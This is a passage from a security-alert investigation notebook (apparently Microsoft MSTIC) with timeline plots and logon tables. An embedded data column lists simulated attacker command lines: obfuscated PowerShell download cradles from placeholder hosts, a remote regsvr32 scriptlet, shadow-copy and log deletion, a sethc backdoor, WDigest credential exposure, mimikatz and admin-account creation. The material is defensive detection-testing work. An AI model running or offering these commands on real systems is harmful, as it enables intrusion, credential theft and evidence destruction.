/oR2QgDAtPX+hHZCAEC89f6EdkIAkMP1/oR2QgDQyvX+hHZCAPDR9f6EdkIAMNn1/oR2QgAQ4PX+hHZCAHBh9f6EdkIAsGz1/oR2QgAwcPX+hHZCADB09f6EdkIAsHf1/oR2QgCQiPX+hHZCABCQ9f6EdkIA4Jn1/oR2QgDwpPX+hHZCAIA19v6EdkIAEDr2/oR2QgAwPfb+hHZCAFA/9v6EdkIAAEf2/oR2QgCwSfb+hHZCAABM9v6EdkIAEE72/oR2QgAgT/b+hHZCAEBS9v6EdkIA8Fj2/oR2QgAQXPb+hHZCADBf9v6EdkIAgGL2/oR2QgAwZfb+hHZCAOBm9v6EdkIAQGv2/oR2QgAwbvb+hHZCAFBx9v6EdkIAQLb2/oR2QgAwv/b+hHZCACDC9v6EdkIAEMX2/oR2QgBQx/b+hHZCAADJ9v6EdkIAIMz2/oR2QgDAzPb+hHZCACDR9v6EdkIAAOz2/oR2QgDw+Pb+hHZCABD89v6EdkIAMAD3/oR2QgAgA/f+hHZCAEAG9/6EdkIAMAn3/oR2QgCQCff+hHZCAGAO9/6EdkIA4BD3/oR2QgAwE/f+hHZCACAX9/6EdkIAQBr3/oR2QgAwHff+hHZCAFAg9/6EdkIAcCP3/oR2QgAgJvf+hHZCAEAp9/6EdkIAcC33/oR2QgDAMPf+hHZCAHAz9/6EdkIAkDr3/oR2QgCwPvf+hHZCAHBB9/6EdkIAIET3/oR2QgAQR/f+hHZCAPBJ9/6EdkIAEEz3/oR2QgAQ7/X+hHZCAND29f6EdkIAUP/1/oR2QgDQC/b+hHZCADAQ9v6EdkIAUBP2/oR2QgBQGPb+hHZCACAd9v6EdkIAcEDz/oR2QgDQsfX+hHZC\",\"dtype\":\"float64\",\"shape\":[117]},\"WrapCmdl\":[\".\\\\ftp -s:C:\\\\RECYCLER\\\\xxppyy.exe\",\".\\\\reg not /domain:everything that /sid:shines is /krbtgt:golden\\n\",\"cmd /c \\\"systeminfo && systeminfo\\\"\",\".\\\\rundll32 /C 12345.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\12345.exe\",\".\\\\rundll32 /C 1234.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\1234.exe\",\".\\\\rundll32 /C reg.exe\",\".\\\\reg.exe add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run\\n\",\"c:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe\\nC:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7....\\n\",\".\\\\rundll32.exe /C mshtml,RunHTMLApplication javascript:alert(tada!)\\n\",\".\\\\netsh.exe \\\"in (*.exe) do start # artificial commandline\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Set-ExecutionPolicy\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Enable-WSManCredSSP\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell winrm\\nset winrm/config/service/Auth @{Kerberos=003D\\\"true\\\"}&echo\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\ProgramData\\\"©\\n\\\\\\\\[REDACTED]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Passwo... Change\\n\",\".\\\\cmd /c \\\"cd /d\\n\\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\a... set\\nconfig \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del C:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log\\n\",\"c:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat \",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe \",\"vssadmin delete shadows /all /quiet\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"cmd /c echo Any questions about the commands executed\\n\",\"cmd /c echo timb@microsoft.com; romead@microsoft.com;\\nianhelle@microsoft.com; marcook@microsoft.com; dotanp@microsoft.com;\\n\",\"net user adm1nistrator Bob_testing /add\",\"\",\"net use q: \\\\\\\\MSTICAlertsWin1\\\\TestShare Bob_testing /User:adm1nistrator\\n\",\"net use q: /delete\",\"net share TestShare /delete\",\"net user adm1nistrator /delete\",\".\\\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll\\n\",\".\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p\\n\",\"cmd /c \\\"echo TVqQAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>\\n\",\"cmd /c \\\"echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> delme.b64\\\"\\n\",\".\\\\powershell.exe -c \\\"$a = 'Download'+'String'+\\\"(('ht'+'tp://paste'+\\n'bin/'+'raw/'+'pqCwEm17'))\\\";$b = '(New-Object' + ' Net.WebClient)';'$b.$a'\\n\",\".\\\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\\\"{2}{0}{1}\\\"-f\\n\",\"cmd /c \\\".\\\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS\\ni^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^tar^t-bITSTRanS^fER\\n-^SOURCE^ 'http://somedomain/best-kitten-names-1.jpg'\\n^-d^EStIN^At^IOn\\n\",\"cmd /c \\\".\\\\n^e^t u^se^r\\\"\",\".\\\\powershell -enc\\n\",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\\\"\\n\",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\\\"\\n\",\"certutil -decode delme.b64 implant.exe\",\"implant.exe k111\",\"implant.exe 81ed03caf6901e444c72ac67d192fb9c\",\"implant.exe -b -t -m\",\"cmd /c \\\"echo Invoke-Expression Get-Process; Invoke-WebRequest\\n\",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression\\nGet-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\\\"\\n\",\".\\\\powershell Invoke-Shellcode.ps1\",\".\\\\powershell Invoke-ReverseDnsLookup.ps1\",\".\\\\powershell -command \\\"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb'\\n\",\"net localgroup Administrators\",\"whoami\",\"hostname\",\"netstat -an\",\"net user Bob1 /domain\",\"net user BobX /domain\",\"net group \\\"Domain Admins\\\" /domain\",\".\\\\rUnDlL32 /C ShEll32Control_RanDLL.dll\",\".\\\\reg query add mscfile\\\\\\\\\\\\\\\\open\",\".\\\\reg add Image File Execution Options sethc.exe\",\".\\\\dubrute.exe\",\".\\\\nlbrute.exe\",\".\\\\reg add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal\\nServer\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0x1\\n\",\".\\\\reg add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal\\nServer\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0x0\\n\",\"net use v: \\\\\\\\tsclient\\\\c\",\"net v: /delete\",\"cmd /c C:\\\\Windows\\\\System32\\\\mshta.exe\\nvbscript:CreateObject(\\\"Wscript.Shell\\\").Run(\\\".\\\\powe... -c\\n\\\"\\\"$x=$((gp HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\nCertificate).Certificate);.\\\\powershell -E $y\\\"\\\"\\\",0,True)(window.close)\\n\",\".\\\\netsh advfirewall firewall add rule name=RbtGskQ action=allow\\n\",\".\\\\reg add\\nHKLM\\\\KEY_LOCAL_MACHINE\\\\...securityproviders\\\\wdiges... uselogoncredential\\n\",\"c:\\\\Windows\\\\System32\\\\cmd.exe /c net user\",\"cmd /c c:\\\\Diagnostics\\\\UserTmp\\\\scrsave.scr\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\smss.exe \",\"c:\\\\Windows\\\\System32\\\\svchost.exe -k malicious\",\"cmd.exe /c echo createobject\\\"msxml2.xmlhttp\\\") \",\"ASC_Alerttest_662jfi039n.exe -foo\",\".\\\\powershell.exe -command\\n\",\"netsh start capture=yes IPv4.Address=1.2.3.4\\n\",\".\\\\wuauclt.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\\n\",\".\\\\lsass.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\\n\",\"cmd /c \\\"powershell wscript.shell used to download a\\n\",\"cacls.exe c:\\\\windows\\\\system32\\\\wscript.exe /e /t /g everyone:f\\n\",\"cmd /c \\\"cd /d\\n\\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\a... set\\nconfig \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo\\n\",\"c:\\\\Diagnostics\\\\UserTmp\\\\2840.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\a_keygen.exe \",\"cmd /c echo \\\" SYSTEMINFO && SYSTEMINFO && DEL \\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\bittorrent.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe firewall set opmode\\n\",\"cmd /c echo rundll32.exe perfc.dat\",\"c:\\\\Diagnostics\\\\UserTmp\\\\ransomware.exe @ abc.com abc.wallet\\n\",\"cmd /c echo /e:vbscript.encode /b\",\"pcalua.exe -a \\\\\\\\server\\\\payload.dll\",\"findstr /si password sysvol *.txt\",\"odbcconf.exe /S /A {REGSVR\\n\",\"odbcconf.exe /f my.rsp\\u00e1\\u00e1\",\"sqldumper.exe 464 0 0x0110:40\",\"mt.exe port\",\"mt.exe smb\",\"hd.exe -pslist\",\"hd.exe -enum\",\"netsh.exe PortOpenning\",\"certutil -urlcache -split -f http://127.0.0.1/ \",\".\\\\reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\\n\",\".\\\\reg delete \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\\n\",\"sc create MSTICTestService\\nbinPath=C:\\\\Users\\\\MSTICA~1\\\\AppData\\\\Local\\\\Temp\\\\hd.ex... DisplayName=\\\"Test\\n\",\"sc delete MSTICTestService\",\"cmd /c \\\"echo blahtest > \\\\\\\\.\\\\pipe\\\\blahtest\\\"\",\".\\\\reg.exe add \\\"hkcu\\\\console\\\" /v windowposition /t reg_dword\\n\",\"c:\\\\windows\\\\fonts\\\\csrss.exe\",\"c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\mimikatz.exe\",\".\\\\rundll32.exe /C c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\regsvr32 /u /s c:\\\\windows\\\\fonts\\\\csrss.exe\",\"tasklist\",\"cmd.exe /c c:\\\\Diagnostics\\\\WindowsSimulateDetections.bat\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \"],\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"f43c6901-53ca-4995-9dd6-d7c921985c87\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"a2c040cd-b5cd-4810-9d31-fff05a16e3cf\",\"type\":\"UnionRenderers\"}},\"id\":\"c9d95918-c102-4457-a29b-cce8fb559249\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"b4fac481-f382-4b66-aa10-8dcc0a361be0\",\"type\":\"DaysTicker\"},{\"attributes\":{\"background_fill_color\":{\"value\":\"white\"},\"border_line_color\":{\"value\":\"red\"},\"plot\":{\"id\":\"61d76ffe-e326-4b0f-a9db-bf28cea72cee\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"render_mode\":\"css\",\"text\":\"< Alert time\",\"x\":1547529315000.0,\"y\":0,\"y_offset\":10},\"id\":\"e4ebb438-b6db-45a7-8a4f-d49b823ab8d1\",\"type\":\"Label\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"d1d51b0f-f7b3-4e82-bba2-12b397e2785e\",\"type\":\"Circle\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"9750d22f-4512-46fa-ba2a-7f7624108be3\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"6eb4fca6-3e62-4370-9e3d-dce52d2393a4\",\"type\":\"LinearScale\"},{\"attributes\":{\"formatter\":{\"id\":\"e2b41441-6f21-4137-8aca-260bc7255444\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"61d76ffe-e326-4b0f-a9db-bf28cea72cee\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"395f5136-87ee-4cdf-80eb-4e21f5017535\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"f8dd373e-adcf-4f9a-8d2f-a844b6c5d785\",\"type\":\"LinearAxis\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"7824da93-2603-4d14-bfb6-ee0a2e6ac477\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"758f1ebd-17a9-4837-a2f4-8b2e26745ade\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1592679b-74c3-4dde-a165-bbc08af2f3cf\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"b7e7996b-ff5e-4290-b40f-dbf254327928\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"aa9bc3e0-d758-4a24-ba1b-a824faffe889\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"191ea55e-ce52-4943-a9c1-b1ccac28bdb0\",\"type\":\"Selection\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline Alert Process Session\"},\"id\":\"0e7a95b5-a162-41c7-9709-cd14e7cdf83f\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"f6d50702-a070-42bd-b0a7-0f039f0fb3ff\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"61d76ffe-e326-4b0f-a9db-bf28cea72cee\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"395f5136-87ee-4cdf-80eb-4e21f5017535\",\"type\":\"BasicTicker\"}},\"id\":\"60cdf0ec-133f-4486-8b1e-828ed28c8817\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"eea45dfb-b0d1-4d9a-b385-07984aba4922\",\"type\":\"LinearScale\"},{\"attributes\":{\"plot\":{\"id\":\"61d76ffe-e326-4b0f-a9db-bf28cea72cee\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"50a825d7-1e47-45f9-a920-8733142cea07\",\"type\":\"DatetimeTicker\"}},\"id\":\"1a5c742c-2549-4c70-b462-3f592df89fe3\",\"type\":\"Grid\"},{\"attributes\":{\"below\":[{\"id\":\"3aa5a48e-5af6-45f6-972e-4911ca14d954\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"f8dd373e-adcf-4f9a-8d2f-a844b6c5d785\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":200,\"plot_width\":900,\"renderers\":[{\"id\":\"3aa5a48e-5af6-45f6-972e-4911ca14d954\",\"type\":\"DatetimeAxis\"},{\"id\":\"1a5c742c-2549-4c70-b462-3f592df89fe3\",\"type\":\"Grid\"},{\"id\":\"f8dd373e-adcf-4f9a-8d2f-a844b6c5d785\",\"type\":\"LinearAxis\"},{\"id\":\"60cdf0ec-133f-4486-8b1e-828ed28c8817\",\"type\":\"Grid\"},{\"id\":\"6b6607a1-7192-4f81-8b29-cff1aba1df94\",\"type\":\"BoxAnnotation\"},{\"id\":\"0db0f58f-3bc2-4578-b0bf-6a6465d08fee\",\"type\":\"GlyphRenderer\"},{\"id\":\"1169bca4-042e-49a1-894a-5adf7395a122\",\"type\":\"GlyphRenderer\"},{\"id\":\"e4ebb438-b6db-45a7-8a4f-d49b823ab8d1\",\"type\":\"Label\"}],\"title\":{\"id\":\"0e7a95b5-a162-41c7-9709-cd14e7cdf83f\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"2e0bc01a-5a7e-4447-b252-09a373a6ec7e\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"cad89a5f-0c6f-42e4-b13f-dcd5673c9adc\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"6eb4fca6-3e62-4370-9e3d-dce52d2393a4\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"2a3cbe96-5323-4ebf-8805-ed3bf69ee576\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"eea45dfb-b0d1-4d9a-b385-07984aba4922\",\"type\":\"LinearScale\"}},\"id\":\"61d76ffe-e326-4b0f-a9db-bf28cea72cee\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"4627130f-17d0-4a27-a94a-03e74b106b90\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"16408895-c02f-4603-af25-60cf7c6534e8\",\"type\":\"AdaptiveTicker\"},{\"id\":\"33a01566-8939-465f-b7a3-e960976128cf\",\"type\":\"AdaptiveTicker\"},{\"id\":\"4627130f-17d0-4a27-a94a-03e74b106b90\",\"type\":\"AdaptiveTicker\"},{\"id\":\"a86fbd34-a990-4344-8c28-12891c3bea06\",\"type\":\"DaysTicker\"},{\"id\":\"758f1ebd-17a9-4837-a2f4-8b2e26745ade\",\"type\":\"DaysTicker\"},{\"id\":\"b4fac481-f382-4b66-aa10-8dcc0a361be0\",\"type\":\"DaysTicker\"},{\"id\":\"9750d22f-4512-46fa-ba2a-7f7624108be3\",\"type\":\"DaysTicker\"},{\"id\":\"5a400ead-97a9-4831-b0e4-c261e6a18815\",\"type\":\"MonthsTicker\"},{\"id\":\"7824da93-2603-4d14-bfb6-ee0a2e6ac477\",\"type\":\"MonthsTicker\"},{\"id\":\"aa9bc3e0-d758-4a24-ba1b-a824faffe889\",\"type\":\"MonthsTicker\"},{\"id\":\"1592679b-74c3-4dde-a165-bbc08af2f3cf\",\"type\":\"MonthsTicker\"},{\"id\":\"add0bf55-14f1-437a-b08f-cadfd7f5594b\",\"type\":\"YearsTicker\"}]},\"id\":\"50a825d7-1e47-45f9-a920-8733142cea07\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"5c261cf4-52e3-427b-9c27-ac360870f170\",\"type\":\"WheelZoomTool\"},{\"attributes\":{},\"id\":\"395f5136-87ee-4cdf-80eb-4e21f5017535\",\"type\":\"BasicTicker\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"494baac2-8429-40af-b3b3-2d68a2ad0e89\",\"type\":\"HoverTool\"},{\"id\":\"9a10a02f-9042-4f22-b3e5-c684466e7122\",\"type\":\"PanTool\"},{\"id\":\"5c261cf4-52e3-427b-9c27-ac360870f170\",\"type\":\"WheelZoomTool\"},{\"id\":\"445b57be-c346-4702-8254-794ff4fa66e7\",\"type\":\"BoxZoomTool\"},{\"id\":\"c54ea2e4-8417-4590-b9ec-7494c372a99d\",\"type\":\"ResetTool\"}]},\"id\":\"2e0bc01a-5a7e-4447-b252-09a373a6ec7e\",\"type\":\"Toolbar\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"a86fbd34-a990-4344-8c28-12891c3bea06\",\"type\":\"DaysTicker\"},{\"attributes\":{\"callback\":null},\"id\":\"cad89a5f-0c6f-42e4-b13f-dcd5673c9adc\",\"type\":\"DataRange1d\"}],\"root_ids\":[\"61d76ffe-e326-4b0f-a9db-bf28cea72cee\"]},\"title\":\"Bokeh Application\",\"version\":\"0.12.16\"}};\n", " var render_items = [{\"docid\":\"32c5f50b-19a6-4345-94b9-42b0444f2100\",\"elementid\":\"d75eec0e-bb94-4b9e-8c33-557ee5b0695b\",\"modelid\":\"61d76ffe-e326-4b0f-a9db-bf28cea72cee\"}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " clearInterval(timer);\n", " }\n", " attempts++;\n", " if (attempts > 100) {\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\")\n", " clearInterval(timer);\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "61d76ffe-e326-4b0f-a9db-bf28cea72cee" } }, "output_type": "display_data" } ], "source": [ "# Show timeline of events - all events\n", "nbdisp.display_timeline(data=clus_logons, source_columns=['Account', 'LogonType'],\n", " alert=security_alert,\n", " title='Clustered Host Logons', height=200)\n", "nbdisp.display_timeline(data=process_tree, alert=security_alert, title='Alert Process Session', height=200)" ] }, { "cell_type": "code", "execution_count": 65, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
TimeGenerated
AccountLogonType
MSTICAlertsWin1\\MSTICAdmin42
MSTICAlertsWin1\\adm1nistrator31
NT AUTHORITY\\SYSTEM511
\n", "
" ], "text/plain": [ " TimeGenerated\n", "Account LogonType \n", "MSTICAlertsWin1\\MSTICAdmin 4 2\n", "MSTICAlertsWin1\\adm1nistrator 3 1\n", "NT AUTHORITY\\SYSTEM 5 11" ] }, "execution_count": 65, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Counts of Logon types by Account\n", "host_logons[['Account', 'LogonType', 'TimeGenerated']].groupby(['Account','LogonType']).count()" ] }, { "cell_type": "markdown", "metadata": { "hidden": true }, "source": [ "[Contents](#toc)\n", "## Failed Logons" ] }, { "cell_type": "code", "execution_count": 66, "metadata": { "hidden": true, "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "No logon failures recorded for this host between {security_alert.start} and {security_alert.start}\n" ] }, { "data": { "text/plain": [ "None" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
TenantIdAccountEventIDTimeGeneratedSourceComputerIdComputerSubjectUserNameSubjectDomainNameSubjectUserSidTargetUserNameTargetDomainNameTargetUserSidTargetLogonIdLogonProcessNameLogonTypeAuthenticationPackageNameStatusIpAddressWorkstationName
\n", "
" ], "text/plain": [ "Empty DataFrame\n", "Columns: [TenantId, Account, EventID, TimeGenerated, SourceComputerId, Computer, SubjectUserName, SubjectDomainName, SubjectUserSid, TargetUserName, TargetDomainName, TargetUserSid, TargetLogonId, LogonProcessName, LogonType, AuthenticationPackageName, Status, IpAddress, WorkstationName]\n", "Index: []" ] }, "execution_count": 66, "metadata": {}, "output_type": "execute_result" } ], "source": [ "failedLogons = qry.list_host_logon_failures(provs=[query_times, security_alert])\n", "if failedLogons.shape[0] == 0:\n", " display(print('No logon failures recorded for this host between {security_alert.start} and {security_alert.start}'))\n", "\n", "failedLogons" ] }, { "cell_type": "markdown", "metadata": { "hidden": true }, "source": [ "[Contents](#toc)\n", "# Appendices" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Available DataFrames" ] }, { "cell_type": "code", "execution_count": 67, "metadata": { "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "List of current DataFrames in Notebook\n", "--------------------------------------------------\n", "alert_counts\n", "alert_list\n", "related_alerts\n", "processes_on_host\n", "labelled_df\n", "process_tree\n", "feature_procs\n", "clus_events\n", "ioc_df\n", "dec_df\n", "ioc_dec_df\n", "proc_match_in_ws\n", "logon_event\n", "host_logons\n", "logon_features\n", "clus_logons\n", "failedLogons\n" ] } ], "source": [ "print('List of current DataFrames in Notebook')\n", "print('-' * 50)\n", "current_vars = list(locals().keys())\n", "for var_name in current_vars:\n", " if isinstance(locals()[var_name], pd.DataFrame) and not var_name.startswith('_'):\n", " print(var_name)" ] }, { "cell_type": "markdown", "metadata": { "heading_collapsed": true, "tags": [ "todo" ] }, "source": [ "## Saving Data to Excel\n", "To save the contents of a pandas DataFrame to an Excel spreadsheet\n", "use the following syntax\n", "```\n", "writer = pd.ExcelWriter('myWorksheet.xlsx')\n", "my_data_frame.to_excel(writer,'Sheet1')\n", "writer.save()\n", "```" ] } ], "metadata": { "celltoolbar": "Tags", "hide_input": false, "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.5" }, "toc": { "base_numbering": 1, "nav_menu": { "height": "318.996px", "width": "320.994px" }, "number_sections": true, "sideBar": true, "skip_h1_title": false, "title_cell": "Table of Contents", "title_sidebar": "Contents", "toc_cell": false, "toc_position": { "height": "calc(100% - 180px)", "left": "10px", "top": "150px", "width": "165px" }, "toc_section_display": true, "toc_window_display": true }, "varInspector": { "cols": { "lenName": 16, "lenType": 16, "lenVar": 40 }, "kernels_config": { "python": { "delete_cmd_postfix": "", "delete_cmd_prefix": "del ", "library": "var_list.py", "varRefreshCmd": "print(var_dic_list())" }, "r": { "delete_cmd_postfix": ") ", "delete_cmd_prefix": "rm(", "library": "var_list.r", "varRefreshCmd": "cat(var_dic_list()) " } }, "position": { "height": "406.193px", "left": "1468.4px", "right": "20px", "top": "120px", "width": "456.572px" }, "types_to_exclude": [ "module", "function", "builtin_function_or_method", "instance", "_Feature" ], "window_display": false } }, "nbformat": 4, "nbformat_minor": 2 }